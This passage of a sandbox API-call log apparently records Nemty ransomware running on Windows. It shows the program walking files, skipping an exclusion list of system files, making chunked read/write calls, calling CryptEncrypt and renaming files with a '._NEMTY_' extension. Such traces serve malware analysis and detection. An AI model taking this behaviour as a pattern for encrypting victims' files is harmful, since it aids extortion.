lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340428, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.289] CloseHandle (hObject=0xffffffff) returned 0 [0119.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0119.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0119.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png._nemty_kgobjgd_")) returned 0 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0119.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0119.290] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a2296f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="..") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="...") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="windows") returned -1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="$RECYCLE.BIN") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="rsa") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="NTDETECT.COM") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="ntldr") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="MSDOS.SYS") returned 1 [0119.290] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="IO.SYS") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="boot.ini") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="boot.ini") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="ntuser.dat") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="desktop.ini") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="CONFIG.SYS") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="RECYCLER") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="BOOTSECT.BAK") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="bootmgr") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="programdata") returned 1 [0119.291] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2="appdata") returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0119.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0119.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0119.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0119.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_left.png", cchWideChar=28, lpMultiByteStr=0x4f9ed08, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_left.png", lpUsedDefaultChar=0x0) returned 28 [0119.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401e0 [0119.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340360 | out: hHeap=0x4f90000) returned 1 [0119.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402a8 [0119.292] Sleep (dwMilliseconds=0x5) [0119.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfac258b0, dwHighDateTime=0x1d561e7)) [0119.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfac258b0, dwHighDateTime=0x1d561e7)) [0119.307] GetLastError () returned 0x5 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.307] GetLastError () returned 0x5 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.307] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.307] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.307] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340370 [0119.307] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340370, pcchString=0x653e91c | out: pszString="QtpmJXKULAl9ZnLRE23LA1+4samaHrrdOLab1ZuOAXzasmI2Gn3+/oL8sjs7BlQp\r\n0VkxDiVpJSd7fUTBZtLRVWoyoskiVo8ynbTR1yLNwXAkCfmR+PuUA5qf3Wgr1ObB\r\nj2ru80U+E77B+GiTTVpYxuJqSFeSH44vlcjDxhN1HuaDSvlDT3zHIlQQoh1NzW35\r\n5u2Ru1nAeqQhLnUU5d23m4WRc4IRg13MDnYoR/AB/JHQaD4tEcuJQ9PdiaY9f6Q7\r\nFmUOd2BNykMHvRlFAQpc9Z3XLxLT/l75CE/AIhy8hznZPxdbQJ6HD091apf/6He/\r\nPVa/oZs2bgOjNgsI3eGCZw==\r\n", pcchString=0x653e91c) returned 1 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0119.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340370 [0119.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.307] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.308] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 